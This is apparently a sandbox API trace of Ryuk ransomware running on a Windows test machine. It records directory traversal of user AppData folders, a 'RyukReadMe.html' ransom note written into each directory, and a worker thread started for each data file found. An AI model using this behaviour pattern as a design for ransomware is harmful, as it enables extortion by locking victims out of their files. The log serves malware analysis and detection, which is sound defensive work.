	[0261.646] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28eee820, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2cf59b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x105000, dwReserved0=0x1de, dwReserved1=0x0, cFileName="CurrentDatabase_372.wmdb", cAlternateFileName="CURREN~1.WMD")) returned 1
	[0261.646] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0261.647] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x770
	[0261.648] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.648] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28eee820, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2cf33a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2cf33a20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1106c, dwReserved0=0x1de, dwReserved1=0x0, cFileName="LocalMLS_3.wmdb", cAlternateFileName="LOCALM~1.WMD")) returned 1
	[0261.648] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0261.649] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x774
	[0261.650] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.650] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="Sync Playlists", cAlternateFileName="SYNCPL~1")) returned 1
	[0261.650] SetLastError (dwErrCode=0x0) 
	[0261.650] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x720
	[0261.651] GetLastError () returned 0x0
	[0261.651] WriteFile (in: hFile=0x720, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18cc98*=0x273, lpOverlapped=0x0) returned 1
	[0261.652] CloseHandle (hObject=0x720) returned 1
	[0261.653] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef970
	[0261.653] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0261.653] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0261.653] SetLastError (dwErrCode=0x0) 
	[0261.653] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.653] GetLastError () returned 0x3
	[0261.653] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0261.654] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.654] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x218, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0261.654] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0261.654] SetLastError (dwErrCode=0x0) 
	[0261.654] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\en-US\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.654] GetLastError () returned 0x3
	[0261.654] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0261.654] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.654] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0
	[0261.654] FindClose (in: hFindFile=0x3ef970 | out: hFindFile=0x3ef970) returned 1
	[0261.654] SetLastError (dwErrCode=0x0) 
	[0261.654] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.654] GetLastError () returned 0x3
	[0261.654] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0261.654] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.655] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7f22040, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="Transcoded Files Cache", cAlternateFileName="TRANSC~1")) returned 1
	[0261.655] SetLastError (dwErrCode=0x0) 
	[0261.655] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x720
	[0261.655] GetLastError () returned 0xb7
	[0261.655] CloseHandle (hObject=0x720) returned 1
	[0261.655] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Transcoded Files Cache\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1f8, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="", cAlternateFileName="cation Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Applica杄眙")) returned 0xffffffffffffffff
	[0261.655] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0261.655] SetLastError (dwErrCode=0x0) 
	[0261.655] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Transcoded Files Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\transcoded files cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.655] GetLastError () returned 0x3
	[0261.655] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0261.655] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.656] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7f22040, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="Transcoded Files Cache", cAlternateFileName="TRANSC~1")) returned 0
	[0261.656] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0261.656] SetLastError (dwErrCode=0x0) 
	[0261.656] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8
	[0261.656] GetLastError () returned 0xb7
	[0261.656] CloseHandle (hObject=0x6f8) returned 1
	[0261.656] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4bb72310, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb72310, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1
	[0261.656] SetLastError (dwErrCode=0x0) 
	[0261.656] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8
	[0261.656] GetLastError () returned 0xb7
	[0261.657] CloseHandle (hObject=0x6f8) returned 1
	[0261.657] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4bb72310, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb72310, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0261.657] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4bb72310, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb72310, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0261.658] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x197ec0b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf7a855a0, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7a855a0, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="14.0", cAlternateFileName="")) returned 1
	[0261.658] SetLastError (dwErrCode=0x0) 
	[0261.658] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x710
	[0261.896] GetLastError () returned 0x0
	[0261.896] WriteFile (in: hFile=0x710, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18cc98*=0x273, lpOverlapped=0x0) returned 1
	[0261.898] CloseHandle (hObject=0x710) returned 1
	[0261.899] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x197ec0b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf7a855a0, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7a855a0, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef970
	[0261.899] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x197ec0b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf7a855a0, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7a855a0, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0261.899] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7a855a0, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7ad1860, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7ad1860, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="OfficeFileCache", cAlternateFileName="OFFICE~1")) returned 1
	[0261.899] SetLastError (dwErrCode=0x0) 
	[0261.899] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\14.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x720
	[0261.900] GetLastError () returned 0x0
	[0261.900] WriteFile (in: hFile=0x720, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18c568*=0x273, lpOverlapped=0x0) returned 1
	[0261.902] CloseHandle (hObject=0x720) returned 1
	[0261.903] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7a855a0, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7ad1860, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7ad1860, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efaf0
	[0261.903] FindNextFileW (in: hFindFile=0x3efaf0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7a855a0, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7ad1860, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7ad1860, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0261.904] FindNextFileW (in: hFindFile=0x3efaf0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf7aab700, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7aab700, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7ad1860, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="FSD-CNRY.FSD", cAlternateFileName="")) returned 1
	[0261.904] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0261.921] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x718
	[0261.924] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.924] FindNextFileW (in: hFindFile=0x3efaf0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf7ad1860, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7ad1860, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7af79c0, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD", cAlternateFileName="FSD-{4~1.FSD")) returned 1
	[0261.924] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0261.925] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x730
	[0261.927] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.927] FindNextFileW (in: hFindFile=0x3efaf0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf7ad1860, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7ad1860, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7af79c0, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="FSF-CTBL.FSF", cAlternateFileName="")) returned 1
	[0261.927] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0261.928] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x738
	[0261.937] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
